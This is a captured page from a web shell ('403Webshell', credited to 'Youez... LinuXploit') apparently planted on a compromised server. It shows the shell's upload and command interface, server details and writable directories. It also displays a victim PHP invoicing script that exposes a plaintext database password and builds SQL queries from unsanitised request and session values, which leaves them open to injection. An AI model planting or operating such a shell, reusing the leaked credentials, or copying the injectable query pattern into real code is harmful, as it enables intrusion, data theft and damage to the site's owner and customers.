403Webshell
Server IP : 167.99.254.82  /  Your IP : 216.73.216.76
Web Server : Apache
System : Linux host.techisquad.com 5.15.0-187-generic #197-Ubuntu SMP Fri Jul 17 19:17:01 UTC 2026 x86_64
User : pawluxera ( 1011)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/invoices/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/invoices/public_html/Ajout_bc.php
<?php

session_start();

if (!isset($_GET['aux']))

{

header('Location: BC.php');

exit();

}

unset($_SESSION['r_devis']);//Devis



$link = mysqli_connect("localhost", "invoices", "9rhJvEkV15jAhJD","invoices") or die("Impossible de se connecter : " . mysqli_error());

$retour =mysqli_query($link,'SELECT MAX(id_bc) AS nbMax FROM bon_comm where  `refe_system_fisc` = YEAR(CURRENT_DATE())');

$valeur = mysqli_fetch_assoc($retour);
$year = date("y");  
$a = $valeur['nbMax'];

$a ++ ;

$x ='BC0'.$year.'/'.$a;

$_SESSION['r_bc'] = $x;



$dt = date('d-m-Y');

//Ajout Devis

$reponse = "INSERT INTO bon_comm VALUES(id_bc ,'$x' , $_GET[aux] ,'$dt' , 'Initiation',  YEAR(CURRENT_DATE()));";

mysqli_query($link,$reponse);

//Notification

$reponse = "select * from comptes_user where id_clt = $_SESSION[compte_user] ;";

$exec =mysqli_query($link,$reponse);

$row = mysqli_fetch_assoc($exec);

$a = $row['nom'].' vient de creer un nouveau BC : '.$x;

$reponse = "INSERT INTO notification VALUES(id_notif ,'dripicons-user-group','$a' ,'$dt', 'ADMIN');";

mysqli_query($link,$reponse);

header('Location: Detail-BC.php');

exit();

//echo 'Session : '.$_SESSION['r_devis'].'<br>Id User : '.$_GET['aux'];

?>


Youez - 2016 - github.com/yon3zu
LinuXploit